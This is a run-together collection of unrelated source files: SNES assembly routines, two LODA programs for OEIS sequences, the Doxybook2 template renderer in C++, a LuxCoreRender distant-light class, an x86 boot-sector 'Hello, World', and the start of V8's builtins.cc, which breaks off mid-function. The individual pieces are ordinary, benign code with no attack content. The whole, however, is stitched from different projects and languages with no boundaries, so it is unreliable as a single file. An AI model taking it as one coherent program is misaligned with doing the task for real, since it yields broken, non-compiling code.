LDA.b #!SPRITE_OAM>>0 : STA $08 LDA.b #!SPRITE_OAM>>8 : STA $09 STZ $07 LDA #$7E : PHB : PHA : PLB LDA.b #$01 : STA.l !SKIP_EOR JSL Sprite_DrawMultiple_quantity_preset LDA Bob : BNE + : LDA.b #$00 : STA.l !SKIP_EOR : + ; Bob fix is conditional PLB LDA $90 : !ADD.b #$08 : STA $90 LDA $92 : INC #2 : STA $92 RTL ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- !TILE_UPLOAD_OFFSET_OVERRIDE = "$7F5042" LoadModifiedTileBufferAddress: PHA LDA !TILE_UPLOAD_OFFSET_OVERRIDE : BEQ + TAX LDY.w #$0002 LDA.w #$0000 : STA !TILE_UPLOAD_OFFSET_OVERRIDE BRA .done + LDX.w #$2D40 LDY.w #$0002 .done PLA RTL ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; Sprite_IsOnscreen ; in: X - Sprite Slot ; out: Carry - 1 = On Screen, 0 = Off Screen ;-------------------------------------------------------------------------------- Sprite_IsOnscreen: JSR _Sprite_IsOnscreen_DoWork BCS + REP #$20 LDA $E2 : PHA : !SUB.w #$0F : STA $E2 LDA $E8 : PHA : !SUB.w #$0F : STA $E8 SEP #$20 JSR _Sprite_IsOnscreen_DoWork REP #$20 PLA : STA $E8 PLA : STA $E2 SEP #$20 + RTL _Sprite_IsOnscreen_DoWork: LDA $0D10, X : CMP $E2 LDA $0D30, X : SBC $E3 : BNE .offscreen LDA $0D00, X : CMP $E8 LDA $0D20, X : SBC $E9 : BNE .offscreen SEC RTS .offscreen CLC RTS ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; Sprite_GetScreenRelativeCoords: ; out: $00.w Sprite Y ; out: $02.w Sprite X ; out: $06.b Sprite Y Relative ; out: $07.b Sprite X Relative ;-------------------------------------------------------------------------------- ; Copied from bank $06 ;-------------------------------------------------------------------------------- !spr_y_lo = $00 !spr_y_hi = $01 !spr_x_lo = $02 !spr_x_hi = $03 !spr_y_screen_rel = $06 !spr_x_screen_rel = $07 ;-------------------------------------------------------------------------------- Sprite_GetScreenRelativeCoords: STY $0B STA $08 LDA $0D00, X : STA $00 !SUB $E8 : STA $06 LDA $0D20, X : STA $01 LDA $0D10, X : STA $02 !SUB $E2 : STA $07 LDA $0D30, X : STA $03 RTL ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; SkipDrawEOR - Shims in Bank05.asm : 2499 ;-------------------------------------------------------------------------------- !SKIP_EOR = "$7F5008" ;-------------------------------------------------------------------------------- SkipDrawEOR: LDA.l !SKIP_EOR : BEQ .normal LDA.w #$0000 : STA.l !SKIP_EOR LDA $04 : AND.w #$F0FF : STA $04 .normal LDA ($08), Y : EOR $04 ; thing we wrote over RTL ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; HexToDec ; in: A(w) - Word to Convert ; out: $7F5003 - $7F5007 (high - low) ;-------------------------------------------------------------------------------- HexToDec: PHA PHA LDA.w #$9090 STA $04 : STA $06 ; temporarily store our decimal values here for speed PLA ; as far as i can tell we never convert a value larger than 9999, no point in wasting time on this? ; - ; CMP.w #10000 : !BLT + ; INC $03 ; !SUB.w #10000 : BRA - ; + - CMP.w #1000 : !BLT + INC $04 !SUB.w #1000 : BRA - + - CMP.w #100 : !BLT + INC $05 !SUB.w #100 : BRA - + - CMP.w #10 : !BLT + INC $06 !SUB.w #10 : BRA - + - CMP.w #1 : !BLT + INC $07 !SUB.w #1 : BRA - + LDA.b $04 : STA $7F5004 ; move to digit storage LDA.b $06 : STA $7F5006 PLA RTL ;-------------------------------------------------------------------------------- ; CountBits ; in: A(b) - Byte to count bits in ; out: A(b) - sum of bits ; caller is responsible for setting 8-bit mode and preserving X and Y ;-------------------------------------------------------------------------------- CountBits: PHB : PHK : PLB TAX ; Save a copy of value LSR #4 ; Shift down hi nybble, Leave <3> in C TAY ; And save <7:4> in Y TXA ; Recover value AND #$07 ; Put out <2:0> in X TAX ; And save in X LDA NybbleBitCounts, Y ; Fetch count for Y ADC NybbleBitCounts, X ; Add count for X & C PLB RTL ; Look up table of bit counts in the values $00-$0F NybbleBitCounts: db #00, #01, #01, #02, #01, #02, #02, #03, #01, #02, #02, #03, #02, #03, #03, #04 ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; HexToDec ; in: A(w) - Word to Convert ; out: $7F5003 - $7F5007 (high - low) ;-------------------------------------------------------------------------------- ;HexToDec: ; PHA ; PHA ; LDA.w #$9090 ; STA $7F5003 : STA $7F5005 : STA $7F5006 ; clear digit storage ; PLA ; - ; CMP.w #10000 : !BLT + ; PHA : SEP #$20 : LDA $7F5003 : INC : STA $7F5003 : REP #$20 : PLA ; !SUB.w #10000 : BRA - ; + - ; CMP.w #1000 : !BLT + ; PHA : SEP #$20 : LDA $7F5004 : INC : STA $7F5004 : REP #$20 : PLA ; !SUB.w #1000 : BRA - ; + - ; CMP.w #100 : !BLT + ; PHA : SEP #$20 : LDA $7F5005 : INC : STA $7F5005 : REP #$20 : PLA ; !SUB.w #100 : BRA - ; + - ; CMP.w #10 : !BLT + ; PHA : SEP #$20 : LDA $7F5006 : INC : STA $7F5006 : REP #$20 : PLA ; !SUB.w #10 : BRA - ; + - ; CMP.w #1 : !BLT + ; PHA : SEP #$20 : LDA $7F5007 : INC : STA $7F5007 : REP #$20 : PLA ; !SUB.w #1 : BRA - ; + ; PLA ;RTL ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; WriteVRAMStripe ; in: A(w) - VRAM Destination ; in: X(w) - Length in Tiles ; in: Y(w) - Word to Write ;-------------------------------------------------------------------------------- WriteVRAMStripe: PHX LDX $1000 ; get pointer AND.w #$7F : STA $1002, X : INX #2 ; set destination PLA : ASL : AND.w #$7FFF : ORA.w #$7000 : STA $1002, X : INX #2 ; set length and enable RLE TYA : STA $1002, X : INX #2 ; set tile SEP #$20 ; set 8-bit accumulator LDA.b #$FF : STA $1002, X STX $1000 LDA.b #01 : STA $14 REP #$20 ; set 16-bit accumulator RTL ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; WriteVRAMBlock ; in: A(w) - VRAM Destination ; in: X(w) - Length in Tiles ; in: Y(w) - Address of Data to Copy ;-------------------------------------------------------------------------------- WriteVRAMBlock: PHX LDX $1000 ; get pointer AND.w #$7F : STA $1002, X : INX #2 ; set destination PLA : ASL : AND.w #$3FFF : STA $1002, X : INX #2 ; set length PHX TYX ; set X to source PHA TXA : !ADD #$1002 : TAY ; set Y to dest PLA ;A is already the value we need for mvn MVN $7F7E ; currently we transfer from our buffers in 7F to the vram buffer in 7E !ADD 1, s ; add the length in A to the stack pointer on the top of the stack PLX : TAX ; pull and promptly ignore, copying the value we just got over it SEP #$20 ; set 8-bit accumulator LDA.b #$FF : STA $1002, X STX $1000 LDA.b #01 : STA $14 REP #$20 ; set 16-bit accumulator RTL ;-------------------------------------------------------------------------------- ;Byte 1 byte 2 Byte 3 byte 4 ;Evvvvvvv vvvvvvv DRllllll llllllll ; ;E if set indicates that this is not a header, but instead is the terminator byte. Only the topmost bit matters in that case. ;The v's form a vram address. ;if D is set, the dma will increment the vram address by a row per word, instead of incrementing by a column (1). ;R if set enables a run length encoding feature ;the l's are the number of bytes to upload minus 1 (don't forget this -1, it is important) ; ;This is then followed by the bytes to upload, in normal format. ;RLE feature: ;This feature makes it easy to draw the same tile repeatedly. If this bit is set, the length bits should be set to 2 times the number of copies of the tile to upload. (Without subtracting 1!) ;It is followed by a single tile (word). Combining this this with the D bit makes it easy to draw large horizontal or vertical runs of a tile without using much space. Geat for erasing or drawing horizontal or verical box edges. ;================================================================================
; A257240: Decimal expansion of the real root of x^3 - 3*x - 10. ; Submitted by Jon Maiga ; 2,6,1,2,8,8,7,8,6,4,7,1,7,5,4,4,7,5,4,4,0,7,2,4,9,9,3,8,6,2,9,7,6,2,9,1,2,8,7,5,7,7,1,2,8,4,8,0,6,3,2,8,1,7,2,3,0,2,7,0,0,5,1,8,2,1,0,1,8,3,5,8,4,9,1,1,2,5,7,3,6,3,4,4,2,2,7,1,1,3,9,6,0,1,9,8,4,8,5,6 mov $2,1 mov $3,$0 mul $3,3 add $3,1 mov $6,2 lpb $3 mul $1,$6 mul $1,2 add $1,$2 add $5,$2 add $1,$5 add $2,$1 mul $1,2 sub $3,1 lpe mul $1,$6 mov $4,10 pow $4,$0 div $2,$4 div $1,$2 mov $0,$1 mod $0,10
; A269110: Numbers of unit circles packed in a triangle of smallest area admitting an equilateral triangle solution. ; Submitted by Jon Maiga ; 1,3,5,6,9,10,14,15,20,21 sub $1,$0 min $0,1 sub $0,$1 div $1,2 bin $1,2 add $0,$1 add $0,1
#define NOMINMAX 1 #include "ExceptionUtils.hpp" #include <Doxybook/DefaultTemplates.hpp> #include <Doxybook/Exception.hpp> #include <spdlog/spdlog.h> #include <Doxybook/Renderer.hpp> #include <Doxybook/Utils.hpp> #include <chrono> #include <dirent.h> #include <fmt/format.h> #include <inja/inja.hpp> #include <set> #include <unordered_set> #ifdef _WIN32 static const std::string SEPARATOR = "\\"; #else static const std::string SEPARATOR = "/"; #endif static std::string trimPath(std::string path) { while (path.back() == '/') { path.pop_back(); } while (path.back() == '\\') { path.pop_back(); } if (path.find(".\\") == 0) { path = path.substr(2); } if (path.find("./") == 0) { path = path.substr(2); } return path; } static std::string stripTmplSuffix(std::string path) { if (path.size() > 4 && path.find(".tmpl") == path.size() - 5) { path.erase(path.size() - 5); } return path; } static void directoryIterator(const std::string& path, const std::function<void(const std::string&)>& callback) { auto dir = opendir(path.c_str()); if (dir == nullptr) { throw EXCEPTION("Failed to read directory {}", path); } const auto p = trimPath(path); auto ent = readdir((DIR*)dir); while (ent != nullptr) { const auto file = std::string(ent->d_name); if (file.size() > 4 && file.find(".tmpl") == file.size() - 5) { callback(p + SEPARATOR + file); } ent = readdir((DIR*)dir); } } static std::string filename(const std::string& path) { const auto found = path.find_last_of("/\\"); if (found == std::string::npos) { return path; } return path.substr(found + 1); } static std::string basename(const std::string& path) { const auto str = filename(path); const auto found = str.find_last_of('.'); if (found == std::string::npos) { return str; } return str.substr(0, found); } Doxybook2::Renderer::Renderer(const Config& config, const Doxygen& doxygen, const JsonConverter& jsonConverter, const std::optional<std::string>& templatesPath) : config(config), doxygen(doxygen), jsonConverter(jsonConverter), env(std::make_unique<inja::Environment>( templatesPath.has_value() ? trimPath(*templatesPath) + SEPARATOR : "./")) { env->add_callback("isEmpty", 1, [](inja::Arguments& args) -> bool { const auto arg = args.at(0)->get<std::string>(); return arg.empty(); }); env->add_callback("escape", 1, [](inja::Arguments& args) -> std::string { const auto arg = args.at(0)->get<std::string>(); return Utils::escape(arg); }); env->add_callback("safeAnchorId", 1, [](inja::Arguments& args) -> std::string { const auto arg = args.at(0)->get<std::string>(); return Utils::safeAnchorId(arg); }); env->add_callback("title", 1, [](inja::Arguments& args) { const auto arg = args.at(0)->get<std::string>(); return Utils::title(arg); }); env->add_callback("date", 1, [](inja::Arguments& args) -> std::string { const auto arg = args.at(0)->get<std::string>(); return Utils::date(arg); }); env->add_callback("stripNamespace", 1, [](inja::Arguments& args) -> std::string { const auto arg = args.at(0)->get<std::string>(); return Utils::stripNamespace(arg); }); env->add_callback("split", 2, [](inja::Arguments& args) -> nlohmann::json { const auto arg0 = args.at(0)->get<std::string>(); const auto arg1 = args.at(1)->get<std::string>(); nlohmann::json ret = nlohmann::json::array(); for (auto& token : Utils::split(arg0, arg1)) { ret.push_back(std::move(token)); } return ret; }); env->add_callback("first", 1, [](inja::Arguments& args) -> nlohmann::json { const auto arg = args.at(0)->get<nlohmann::json>(); return arg.front(); }); env->add_callback("last", 1, [](inja::Arguments& args) -> nlohmann::json { const auto arg = args.at(0)->get<nlohmann::json>(); return arg.back(); }); env->add_callback("get", 2, [](inja::Arguments& args) -> nlohmann::json { const auto obj = args.at(0)->get<nlohmann::json>(); const auto key = args.at(1)->get<std::string>(); return obj.at(key); }); env->add_callback("index", 2, [](inja::Arguments& args) -> nlohmann::json { const auto arr = args.at(0)->get<nlohmann::json>(); const auto idx = args.at(1)->get<int>(); if (idx >= 0) return arr.at(idx); else return arr.at(arr.size() + idx); }); env->add_callback("countProperty", 3, [](inja::Arguments& args) -> int { const auto arr = args.at(0)->get<nlohmann::json>(); const auto key = args.at(1)->get<std::string>(); const auto value = args.at(2)->get<std::string>(); auto count = 0; for (auto it = arr.begin(); it != arr.end(); ++it) { auto& obj = *it; auto val = obj.at(key); if (val == value) count++; } return count; }); env->add_callback("queryProperty", 3, [](inja::Arguments& args) -> nlohmann::json { const auto arr = args.at(0)->get<nlohmann::json>(); const auto key = args.at(1)->get<std::string>(); const auto value = args.at(2)->get<std::string>(); auto ret = nlohmann::json::array(); for (auto it = arr.begin(); it != arr.end(); ++it) { auto& obj = *it; if (obj.at(key) == value) { ret.push_back(obj); } } return ret; }); env->add_callback("render", 2, [=](inja::Arguments& args) -> nlohmann::json { const auto name = args.at(0)->get<std::string>(); const auto data = args.at(1)->get<nlohmann::json>(); return this->render(name, data); }); env->add_callback("load", 1, [&](inja::Arguments& args) -> nlohmann::json { const auto refid = args.at(0)->get<std::string>(); return jsonConverter.getAsJson(*doxygen.find(refid)); }); env->add_callback("replace", 3, [](inja::Arguments& args) -> nlohmann::json { auto str = args.at(0)->get<std::string>(); const auto what = args.at(1)->get<std::string>(); const auto sub = args.at(2)->get<std::string>(); std::string::size_type n = 0; while ((n = str.find(what, n)) != std::string::npos) { str.replace(n, what.size(), sub); n += sub.size(); } return str; }); env->add_void_callback("noop", 0, [](inja::Arguments& args) {}); // env->set_trim_blocks(false); // env->set_lstrip_blocks(false); // These are the templates we will be using. // So we don't load other templates that will never get used! std::unordered_set<std::string> templatesToLoad = {config.templateIndexClasses, config.templateIndexExamples, config.templateIndexFiles, config.templateIndexGroups, config.templateIndexNamespaces, config.templateIndexRelatedPages, config.templateKindClass, config.templateKindExample, config.templateKindFile, config.templateKindGroup, config.templateKindDir, config.templateKindNamespace, config.templateKindPage, config.templateKindUnion, config.templateKindInterface, config.templateKindStruct}; // This is a list of other templates found in the templates directory (if supplied) std::unordered_map<std::string, std::string> otherTemplates; std::string includePrefix = ""; if (templatesPath.has_value()) { includePrefix = trimPath(*templatesPath) + SEPARATOR; directoryIterator(includePrefix, [&](const std::string& file) { const auto name = basename(file); otherTemplates.insert(std::make_pair(name, file)); }); } spdlog::info("Using lookup template path: '{}'", includePrefix); // Recursive template loader with dependencies. // Thanks to C++17 we can use recursive lambdas. std::set<std::string> loaded; const std::function<void(const std::string&, bool)> loadDependency = [&](const std::string& name, const bool include) { // Check if this template has been loaded. if (loaded.find(name) != loaded.end()) { return; } // Find the template in the list of default templates // and in the list of provided templates via "--templates <path>" argument. const auto oit = otherTemplates.find(name); const auto dit = defaultTemplates.find(name); try { // Recursively load the dependencies but only if this // template is available in the list of default templates. // // This is useful if you have a custom template "meta.tmpl" // that is used by some other default template. // // Or you have a custom template "kind_class.tmpl" but uses custom // template "header" that is not provided and therefore should be // loaded from the list of default templates. // // We want to ensure that the default templates and custom templates // can coexist. if (dit != defaultTemplates.end()) { for (const auto& dep : dit->second.dependencies) { loadDependency(dep, true); } } // The template has been found in the provided template path (i.e. "--templates <path>") if (oit != otherTemplates.end()) { spdlog::info("Parsing template: '{}' from file: '{}'", name, oit->second); // Parse the template. // The inja library will load all of the other templates // that are specified by {% include "<name>" %} in the tmpl file. // These includes are automatically resolved based on the provided template path (i.e. "--templates // <path>") thanks to providing the templates path to the constructor of inja::Environment auto tmpl = env->parse_template(filename(oit->second)); const auto it = templates.insert(std::make_pair(stripTmplSuffix(name), std::make_unique<inja::Template>(std::move(tmpl)))).first; // Only include the dependencies. // This is needed if a default template is parsed via env->parse // and wants to include some other template. We need to let inja know about that template before parsing // it. if (include) { env->include_template(name, *it->second); env->include_template(includePrefix + name, *it->second); } } else if (dit != defaultTemplates.end()) { spdlog::info("Parsing template: '{}' from default", name); // Parse the template from the list of default templates. // This won't do any automatic resolving of {% include "<name>" %} // and therefore we have to do env->include_template(<name>, <ref>) auto tmpl = env->parse(dit->second.src); const auto it = templates.insert(std::make_pair(stripTmplSuffix(name), std::make_unique<inja::Template>(std::move(tmpl)))).first; // Same as above if (include) { env->include_template(name, *it->second); env->include_template(includePrefix + name, *it->second); } } else { throw EXCEPTION("No template provided for: '{}'", name); } // Remember that we have parsed this template. loaded.insert(name); } catch (std::exception& e) { throw EXCEPTION("Failed to load template: '{}' error: {}", name, e.what()); } }; // Load all of the required templates specified by the config. for (const auto& name : templatesToLoad) { loadDependency(name, false); } // Load all of the other templates in the directory that were not loaded in the loop above. // Because of the custom function {{render("<name>", data)}} provided in the template renderer, // as an alternative to {% include <name> %}, // we have to load all of the other templates too! // // The render function will not automatically resolve the template by the argument "<name>" // so we have to ensure that the template is provided upfront. // // This is different from the {% include "<name>" %} which does resolving automatically. for (const auto& pair : otherTemplates) { const auto& name = pair.first; const auto& file = pair.second; // Check if this template has been already loaded. if (loaded.find(name) != loaded.end()) { continue; } try { spdlog::info("Parsing template: '{}' from file: '{}'", name, file); auto tmpl = env->parse_template(name + ".tmpl"); templates.insert(std::make_pair(name, std::make_unique<inja::Template>(std::move(tmpl)))); } catch (std::exception& e) { throw EXCEPTION("Failed to load template: '{}' error: {}", name, e.what()); } } } Doxybook2::Renderer::~Renderer() = default; void Doxybook2::Renderer::render(const std::string& name, const std::string& path, const nlohmann::json& data) const { const auto it = templates.find(stripTmplSuffix(name)); if (it == templates.end()) { throw EXCEPTION("Template {} not found", name); } const auto absPath = Path::join(config.outputDir, path); if (config.debugTemplateJson) { std::ofstream dump(absPath + ".json"); dump << data.dump(2); } std::fstream file(absPath, std::ios::out); if (!file) { throw EXCEPTION("Failed to open file for writing {}", absPath); } spdlog::info("Rendering {}", absPath); try { env->render_to(file, *it->second, data); } catch (std::exception& e) { throw EXCEPTION("Render template '{}' error {}", name, e.what()); } } std::string Doxybook2::Renderer::render(const std::string& name, const nlohmann::json& data) const { const auto it = templates.find(stripTmplSuffix(name)); if (it == templates.end()) { throw EXCEPTION("Template {} not found", stripTmplSuffix(name)); } std::stringstream ss; try { env->render_to(ss, *it->second, data); } catch (std::exception& e) { throw EXCEPTION("Failed to render template '{}' error {}", name, e.what()); } return ss.str(); }
/*************************************************************************** * Copyright 1998-2018 by authors (see AUTHORS.txt) * * * * This file is part of LuxCoreRender. * * * * Licensed under the Apache License, Version 2.0 (the "License"); * * you may not use this file except in compliance with the License. * * You may obtain a copy of the License at * * * * http://www.apache.org/licenses/LICENSE-2.0 * * * * Unless required by applicable law or agreed to in writing, software * * distributed under the License is distributed on an "AS IS" BASIS, * * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.* * See the License for the specific language governing permissions and * * limitations under the License. * ***************************************************************************/ #include "slg/lights/distantlight.h" #include "slg/scene/scene.h" using namespace std; using namespace luxrays; using namespace slg; //------------------------------------------------------------------------------ // DistantLight //------------------------------------------------------------------------------ DistantLight::DistantLight() : color(1.f), localLightDir(0.f, 0.f, 1.f), theta(0.f) { } DistantLight::~DistantLight() { } void DistantLight::Preprocess() { if (theta == 0.f) { sin2ThetaMax = 2.f * MachineEpsilon::E(1.f); cosThetaMax = 1.f - MachineEpsilon::E(1.f); } else { const float radTheta = Radians(theta); sin2ThetaMax = sinf(Radians(radTheta)) * sinf(radTheta); cosThetaMax = cosf(radTheta); } absoluteLightDir = Normalize(lightToWorld * localLightDir); CoordinateSystem(absoluteLightDir, &x, &y); } void DistantLight::GetPreprocessedData(float *absoluteLightDirData, float *xData, float *yData, float *sin2ThetaMaxData, float *cosThetaMaxData) const { if (absoluteLightDirData) { absoluteLightDirData[0] = absoluteLightDir.x; absoluteLightDirData[1] = absoluteLightDir.y; absoluteLightDirData[2] = absoluteLightDir.z; } if (xData) { xData[0] = x.x; xData[1] = x.y; xData[2] = x.z; } if (yData) { yData[0] = y.x; yData[1] = y.y; yData[2] = y.z; } if (sin2ThetaMaxData) *sin2ThetaMaxData = sin2ThetaMax; if (cosThetaMaxData) *cosThetaMaxData = cosThetaMax; } float DistantLight::GetPower(const Scene &scene) const { const float envRadius = GetEnvRadius(scene); return gain.Y() * color.Y() * M_PI * envRadius * envRadius; } Spectrum DistantLight::Emit(const Scene &scene, const float u0, const float u1, const float u2, const float u3, const float passThroughEvent, Point *orig, Vector *dir, float *emissionPdfW, float *directPdfA, float *cosThetaAtLight) const { *dir = UniformSampleCone(u0, u1, cosThetaMax, x, y, absoluteLightDir); const float uniformConePdf = UniformConePdf(cosThetaMax); if (cosThetaAtLight) *cosThetaAtLight = Dot(*dir, absoluteLightDir); const Point worldCenter = scene.dataSet->GetBSphere().center; const float envRadius = GetEnvRadius(scene); float d1, d2; ConcentricSampleDisk(u2, u3, &d1, &d2); *orig = worldCenter - envRadius * (absoluteLightDir + d1 * x + d2 * y); *emissionPdfW = uniformConePdf / (M_PI * envRadius * envRadius); if (directPdfA) *directPdfA = uniformConePdf; return gain * color; } Spectrum DistantLight::Illuminate(const Scene &scene, const Point &p, const float u0, const float u1, const float passThroughEvent, Vector *dir, float *distance, float *directPdfW, float *emissionPdfW, float *cosThetaAtLight) const { *dir = -UniformSampleCone(u0, u1, cosThetaMax, x, y, absoluteLightDir); const Point worldCenter = scene.dataSet->GetBSphere().center; const float envRadius = GetEnvRadius(scene); const Vector toCenter(worldCenter - p); const float centerDistance = Dot(toCenter, toCenter); const float approach = Dot(toCenter, *dir); *distance = approach + sqrtf(Max(0.f, envRadius * envRadius - centerDistance + approach * approach)); const float uniformConePdf = UniformConePdf(cosThetaMax); *directPdfW = uniformConePdf; if (cosThetaAtLight) *cosThetaAtLight = Dot(-absoluteLightDir, *dir); if (emissionPdfW) *emissionPdfW = uniformConePdf / (M_PI * envRadius * envRadius); return gain * color; } Properties DistantLight::ToProperties(const ImageMapCache &imgMapCache, const bool useRealFileName) const { const string prefix = "scene.lights." + GetName(); Properties props = NotIntersectableLightSource::ToProperties(imgMapCache, 0); props.Set(Property(prefix + ".type")("distant")); props.Set(Property(prefix + ".color")(color)); props.Set(Property(prefix + ".direction")(localLightDir)); props.Set(Property(prefix + ".theta")(10.f)); return props; }
[org 0x7c00] ; tell the assembler that our offset is bootsector code ; The main routine makes sure the parameters are ready and then calls the function mov bx, HELLO call print call print_nl mov bx, GOODBYE call print call print_nl mov dx, 0x12fe call print_hex ; that's it! we can hang now jmp $ ; remember to include subroutines below the hang %include "boot_sect_print.asm" %include "boot_sect_print_hex.asm" ; data HELLO: db 'Hello, World', 0 GOODBYE: db 'Goodbye', 0 ; padding and magic number times 510-($-$$) db 0 dw 0xaa55
// Copyright 2012 the V8 project authors. All rights reserved. // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following // disclaimer in the documentation and/or other materials provided // with the distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #include "v8.h" #include "api.h" #include "arguments.h" #include "bootstrapper.h" #include "builtins.h" #include "gdb-jit.h" #include "ic-inl.h" #include "heap-profiler.h" #include "mark-compact.h" #include "stub-cache.h" #include "vm-state-inl.h" namespace v8 { namespace internal { namespace { // Arguments object passed to C++ builtins. template <BuiltinExtraArguments extra_args> class BuiltinArguments : public Arguments { public: BuiltinArguments(int length, Object** arguments) : Arguments(length, arguments) { } Object*& operator[] (int index) { ASSERT(index < length()); return Arguments::operator[](index); } template <class S> Handle<S> at(int index) { ASSERT(index < length()); return Arguments::at<S>(index); } Handle<Object> receiver() { return Arguments::at<Object>(0); } Handle<JSFunction> called_function() { STATIC_ASSERT(extra_args == NEEDS_CALLED_FUNCTION); return Arguments::at<JSFunction>(Arguments::length() - 1); } // Gets the total number of arguments including the receiver (but // excluding extra arguments). int length() const { STATIC_ASSERT(extra_args == NO_EXTRA_ARGUMENTS); return Arguments::length(); } #ifdef DEBUG void Verify() { // Check we have at least the receiver. ASSERT(Arguments::length() >= 1); } #endif }; // Specialize BuiltinArguments for the called function extra argument. template <> int BuiltinArguments<NEEDS_CALLED_FUNCTION>::length() const { return Arguments::length() - 1; } #ifdef DEBUG template <> void BuiltinArguments<NEEDS_CALLED_FUNCTION>::Verify() { // Check we have at least the receiver and the called function. ASSERT(Arguments::length() >= 2); // Make sure cast to JSFunction succeeds. called_function(); } #endif #define DEF_ARG_TYPE(name, spec) \ typedef BuiltinArguments<spec> name##ArgumentsType; BUILTIN_LIST_C(DEF_ARG_TYPE) #undef DEF_ARG_TYPE } // namespace // ---------------------------------------------------------------------------- // Support macro for defining builtins in C++. // ---------------------------------------------------------------------------- // // A builtin function is defined by writing: // // BUILTIN(name) { // ... // } // // In the body of the builtin function the arguments can be accessed // through the BuiltinArguments object args. #ifdef DEBUG #define BUILTIN(name) \ MUST_USE_RESULT static MaybeObject* Builtin_Impl_##name( \ name##ArgumentsType args, Isolate* isolate); \ MUST_USE_RESULT static MaybeObject* Builtin_##name( \ name##ArgumentsType args, Isolate* isolate) { \ ASSERT(isolate == Isolate::Current()); \ args.Verify(); \ return Builtin_Impl_##name(args, isolate); \ } \ MUST_USE_RESULT static MaybeObject* Builtin_Impl_##name( \ name##ArgumentsType args, Isolate* isolate) #else // For release mode. #define BUILTIN(name) \ static MaybeObject* Builtin_##name(name##ArgumentsType args, Isolate* isolate) #endif static inline bool CalledAsConstructor(Isolate* isolate) { #ifdef DEBUG // Calculate the result using a full stack frame iterator and check // that the state of the stack is as we assume it to be in the // code below. StackFrameIterator it; ASSERT(it.frame()->is_exit()); it.Advance(); StackFrame* frame = it.frame(); bool reference_result = frame->is_construct(); #endif Address fp = Isolate::c_entry_fp(isolate->thread_local_top()); // Because we know fp points to an exit frame we can use the relevant // part of ExitFrame::ComputeCallerState directly. const int kCallerOffset = ExitFrameConstants::kCallerFPOffset; Address caller_fp = Memory::Address_at(fp + kCallerOffset); // This inlines the part of StackFrame::ComputeType that grabs the // type of the current frame. Note that StackFrame::ComputeType // has been specialized for each architecture so if any one of them // changes this code has to be changed as well. const int kMarkerOffset = StandardFrameConstants::kMarkerOffset; const Smi* kConstructMarker = Smi::FromInt(StackFrame::CONSTRUCT); Object* marker = Memory::Object_at(caller_fp + kMarkerOffset); bool result = (marker == kConstructMarker); ASSERT_EQ(result, reference_result); return result; } // ---------------------------------------------------------------------------- BUILTIN(Illegal) { UNREACHABLE(); return isolate->heap()->undefined_value(); // Make compiler happy. } BUILTIN(EmptyFunction) { return isolate->heap()->undefined_value(); } static MaybeObject* ArrayCodeGenericCommon(Arguments* args, Isolate* isolate, JSFunction* constructor) { Heap* heap = isolate->heap(); isolate->counters()->array_function_runtime()->Increment(); JSArray* array; if (CalledAsConstructor(isolate)) { array = JSArray::cast((*args)[0]); // Initialize elements and length in case later allocations fail so that the // array object is initialized in a valid state. array->set_length(Smi::FromInt(0)); array->set_elements(heap->empty_fixed_array()); if (!FLAG_smi_only_arrays) { Context* native_context = isolate->context()->native_context(); if (array->GetElementsKind() == GetInitialFastElementsKind() && !native_context->js_array_maps()->IsUndefined()) { FixedArray* map_array = FixedArray::cast(native_context->js_array_maps()); array->set_map(Map::cast(map_array-> get(TERMINAL_FAST_ELEMENTS_KIND))); } } } else { // Allocate the JS Array MaybeObject* maybe_obj = heap->AllocateJSObject(constructor); if (!maybe_obj->To(&array)) return maybe_obj; } // Optimize the case where there is one argument and the argument is a // small smi. if (args->length() == 2) { Object* obj = (*args)[1]; if (obj->IsSmi()) { int len = Smi::cast(obj)->value(); if (len >= 0 && len < JSObject::kInitialMaxFastElementArray) { Object* fixed_array; { MaybeObject* maybe_obj = heap->AllocateFixedArrayWithHoles(len); if (!maybe_obj->ToObject(&fixed_array)) return maybe_obj; } ElementsKind elements_kind = array->GetElementsKind(); if (!IsFastHoleyElementsKind(elements_kind)) { elements_kind = GetHoleyElementsKind(elements_kind); MaybeObject* maybe_array = array->TransitionElementsKind(elements_kind); if (maybe_array->IsFailure()) return maybe_array; } // We do not use SetContent to skip the unnecessary elements type check. array->set_elements(FixedArray::cast(fixed_array)); array->set_length(Smi::cast(obj)); return array; } } // Take the argument as the length. { MaybeObject* maybe_obj = array->Initialize(0); if (!maybe_obj->ToObject(&obj)) return maybe_obj; } return array->SetElementsLength((*args)[1]); } // Optimize the case where there are no parameters passed. if (args->length() == 1) { return array->Initialize(JSArray::kPreallocatedArrayElements); } // Set length and elements on the array. int number_of_elements = args->length() - 1; MaybeObject* maybe_object = array->EnsureCanContainElements(args, 1, 